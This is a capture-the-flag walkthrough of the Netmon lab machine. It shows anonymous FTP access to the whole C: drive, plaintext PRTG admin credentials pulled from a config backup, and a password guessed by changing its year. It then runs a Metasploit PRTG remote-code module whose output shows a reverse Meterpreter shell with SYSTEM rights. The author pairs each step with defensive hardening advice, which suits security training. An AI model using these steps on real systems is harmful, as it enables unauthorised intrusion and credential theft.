HTB Writeup - Netmon
Enumeration
We start of with an nmap scan as usual:
Host is up (0.14s latency).
Not shown: 65403 closed tcp ports (reset), 119 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_11-10-23 10:20AM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
|_http-favicon: Unknown favicon MD5: 36B3EF286FA4BEFBB797A0966B456479
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-27T04:09:55
|_ start_date: 2024-07-27T03:47:52
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1m09s, deviation: 0s, median: 1m09s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
We see quite a few interesting ports. Trying SMB with smbclient using a null session, guest account and random credentials does not gives us access to any SMB shares.
FTP works with anonymous login of anonymous:anonymous, and we are presented with a directory listing of:
220 Microsoft FTP Service
Name (10.129.230.176:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||49759|)
150 Opening ASCII mode data connection.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> Windows
226 Transfer complete.
FTP should never allow anonymous access unless the files stored are guaranteed to be safe for public access. Otherwise, always enable the requirements for credentialed access and ensure that strong passwords are used.
Be careful about over-sharing. Services like FTP rarely need to offer access to the root of the target file system. It is better practice to reduce the surface area of potential information leakage by using a specific folder for sharing. In this instance, allowing us access to FTP at this folder level allowed us to find credentials stored in program data.
It’s unexpected that it appears as though someone has shared the root of the C: drive. We can look around on the machine and note a few things. Firstly, we can enumerate users with home directories, and we see only an Administrator and the Public folder. Just because of how HTB usually works, it’s likely that the entry onto the machine will gives us an Administrative shell directly, or we will end up as a web service user.
Looking around the Program Files reveals that PRTG Network Monitor is installed, and this is backed up by the application we see when we view the website on port 80. A quick look at what this is on Google reveals that the credentials for this application by default are prtgadmin:prtgadmin but these don’t work on this instance.
We can look for credentials in the file system though since the C: is shared via FTP. Just from researching, we can find that there is a directory at /ProgramData/Paessler/PRTG Network Monitor with a bunch of configuration files and potentially a file that stores passwords in plain text.
08-18-23 08:20AM <DIR> Configuration Auto-Backups
07-26-24 11:58PM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
07-27-24 12:00AM <DIR> Logs (Web Server)
07-26-24 11:53PM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
07-26-24 11:58PM 1648004 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
I retrieved 3 files that I thought might have credentials, the ones with *Configuration* in their titles. Just by using grep, we can find plain text credentials for the prtgadmin user in the PRTG Configuration.old.bak file. However, these files do not work on the web console!
Exploiting the PRTG Network Monitor web application
The credentials found end in 2018. The file they are found in is also named old.bak so it’s possible the password has changed. Given the format of the password, the easiest thing to do is just create a few variations with different years. Updating the password to end with 2019 gives us a password that works on the target!
The easiest way to exploit this automatically is the user of Metasploit.
use windows/http/prtg_authenticated_rce
set RHOSTS <target>
set ADMIN_PASSWORD <password>
run
And this is successful!
[*] Started reverse TCP handler on 10.10.14.55:4444
[+] Successfully logged in with provided credentials
[+] Created malicious notification (objid=2018)
[+] Triggered malicious notification
[+] Deleted malicious notification
[*] Waiting for payload execution.. (30 sec. max)
[*] Sending stage (176198 bytes) to 10.129.230.176
[*] Meterpreter session 1 opened (10.10.14.55:4444 -> 10.129.230.176:50180) at 2024-07-27 14:26:46 +1000
meterpreter > sysinfo
Computer : NETMON
OS : Windows Server 2016 (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
As predicted, the Network Monitor is running as NT Authority System so we don’t need to escalate privileges further.
Where possible, services should always be run with their own user accounts following principles of least privilege. Reduce the privileges of the service account to just what it needs to perform it’s tasks and no more to reduce the damage when an attacker compromises this account. This service is quite old now and it can be patched against this specific vulnerability. The password for the
prtgadminaccount is technically weak and it is following a temporal pattern. The password, especially for an admin account, should be much more complex and not have predictable patterns.